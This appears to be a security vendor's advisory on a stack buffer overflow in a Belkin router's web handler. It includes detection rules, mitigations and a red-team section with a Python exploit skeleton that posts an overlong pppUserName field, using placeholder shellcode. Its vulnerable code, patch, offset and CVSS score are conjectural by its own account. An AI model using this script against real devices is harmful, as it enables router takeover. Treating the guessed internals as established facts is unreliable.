CVE-2025-7089

Executive Summary

CVE-2025-7089 is a critical stack-based buffer overflow vulnerability discovered in the Belkin F9K1122 router running firmware version 1.00.33. The flaw resides in the formWanTcpipSetup function within the /goform/formWanTcpipSetup endpoint of the webs component. By manipulating the pppUserName argument, an unauthenticated remote attacker can trigger a stack-based buffer overflow, leading to arbitrary code execution with root privileges. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts, leaving the device unpatched. This vulnerability poses a severe risk to network integrity and confidentiality.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in an embedded device (Belkin router). No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full device compromise possible.
• Integrity (I): High (H) – Full control over device.
• Availability (A): High (H) – Potential denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The exploit is public, no patch exists, and the attack is remotely executable without authentication.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the formWanTcpipSetup function of the Belkin F9K1122 router's web server. The function handles the pppUserName parameter from an HTTP POST request to /goform/formWanTcpipSetup. The input is copied into a fixed-size stack buffer without proper bounds checking. By sending an overly long pppUserName value, an attacker can overwrite the return address and other critical stack data, achieving arbitrary code execution.

Root Cause: Lack of input validation and unsafe use of a function like strcpy or sprintf that does not limit the length of the copied data.

Attack Vector: Remote, unauthenticated HTTP POST request to the vulnerable endpoint.

Impact: Full device compromise, including the ability to:

• Execute arbitrary commands as root.
• Modify router settings.
• Intercept or redirect network traffic.
• Use the device as a pivot for further attacks.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The vulnerable function likely uses a stack buffer of limited size (e.g., 256 bytes) and copies the pppUserName parameter without length checks.

Vulnerable Code (Conceptual):

void formWanTcpipSetup(struct request *req) {
    char buffer[256];
    char *pppUserName = get_param(req, "pppUserName");
    strcpy(buffer, pppUserName); // No bounds checking
    // ... rest of function
}

Patched Code (Hypothetical):

void formWanTcpipSetup(struct request *req) {
    char buffer[256];
    char *pppUserName = get_param(req, "pppUserName");
    if (strlen(pppUserName) >= sizeof(buffer)) {
        // Return error or truncate
        return;
    }
    strcpy(buffer, pppUserName);
    // ... rest of function
}

The patch would involve using strncpy or checking the length before copying.

Exploitation & Lab Setup

Red Team (Offensive)

Exploit Overview: The exploit sends a crafted HTTP POST request to the router's /goform/formWanTcpipSetup endpoint with an overly long pppUserName parameter. The payload overwrites the return address to redirect execution to attacker-controlled shellcode.

Lab Setup:

1. Environment: Use a virtualized Belkin F9K1122 firmware (if available) or a real device in an isolated network.
2. Tools: Python 3, pwntools, metasploit (if module available), or custom exploit script.
3. Steps:
   • Identify the offset to the return address (e.g., 264 bytes).
   • Craft a payload: [padding] + [return_address] + [shellcode].
   • Send the payload via HTTP POST.

Example Exploit Script (Python):

import socket

target_ip = "192.168.1.1"
port = 80

# Offset to return address (example)
offset = 264
# Return address pointing to shellcode (example)
ret_addr = b"\x00\x00\x00\x00"  # Replace with actual address
# Shellcode (e.g., bind shell)
shellcode = b"\x90" * 100  # Placeholder

payload = b"A" * offset + ret_addr + shellcode

http_request = (
    f"POST /goform/formWanTcpipSetup HTTP/1.1\r\n"
    f"Host: {target_ip}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(payload)}\r\n"
    f"\r\n"
    f"pppUserName={payload.decode('latin-1')}"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, port))
s.send(http_request.encode())
s.close()

Note: The actual return address and shellcode must be determined through reverse engineering of the firmware.

Blue Team (Defensive)

Detection & Response:

• Monitor for HTTP POST requests to /goform/formWanTcpipSetup with abnormally long pppUserName parameters.
• Use network intrusion detection systems (NIDS) to alert on oversized payloads.
• Implement rate limiting on the web interface.
• Isolate affected devices on a separate VLAN.

Honeypot Strategy: Deploy a honeypot mimicking the Belkin router to capture exploit attempts and gather attacker TTPs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /goform/formWanTcpipSetup with pppUserName parameter exceeding 256 bytes.
  • Unusual outbound connections from the router to unknown IPs (e.g., on port 4444 for reverse shell).
  • Anomalous DNS queries from the router.

• Host IOCs:

  • Unexpected processes running on the router (e.g., /tmp/shell).
  • Modified firmware or configuration files.
  • Presence of shellcode in memory (detectable via memory forensics).

• File IOCs:

  • Suspicious files in /tmp/ or /var/ on the router.

Detection Engineering

YARA Rule

rule CVE_2025_7089_Belkin_BOF {
    meta:
        description = "Detects exploit attempts for CVE-2025-7089 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7089"
    strings:
        $http_method = "POST"
        $uri = "/goform/formWanTcpipSetup"
        $param = "pppUserName="
        $long_string = /pppUserName=[A-Za-z0-9%]{256,}/
    condition:
        $http_method and $uri and $param and $long_string
}

Sigma Rule

title: CVE-2025-7089 Belkin Router Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with long pppUserName parameter targeting Belkin router
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formWanTcpipSetup'
        cs-uri-query|contains: 'pppUserName='
        sc-bytes|gte: 300
    condition: selection
falsepositives:
    - Legitimate long usernames (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7089 Belkin Router Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formWanTcpipSetup"; http_uri; content:"pppUserName="; http_client_body; pcre:"/pppUserName=[^&]{256,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Disconnect the Belkin F9K1122 from the internet and place it on a separate VLAN with strict access controls.
2. Disable remote management: If possible, disable the web interface or restrict access to local network only.
3. Monitor for exploitation: Deploy the provided detection rules to identify any ongoing attacks.

Long-Term Solutions:

• Vendor Patch: Await an official firmware update from Belkin. Since the vendor has not responded, consider replacing the device with a supported alternative.
• Firmware Hardening: If custom firmware is available (e.g., OpenWrt), flash it to replace the vulnerable software stack.
• Network Segmentation: Implement strict network segmentation to limit the blast radius of compromised IoT devices.

Workarounds:

• Use a firewall to block HTTP POST requests to /goform/formWanTcpipSetup from untrusted sources.
• Implement a web application firewall (WAF) with rules to reject oversized pppUserName parameters.

Valters IT
Securing Digital Frontiers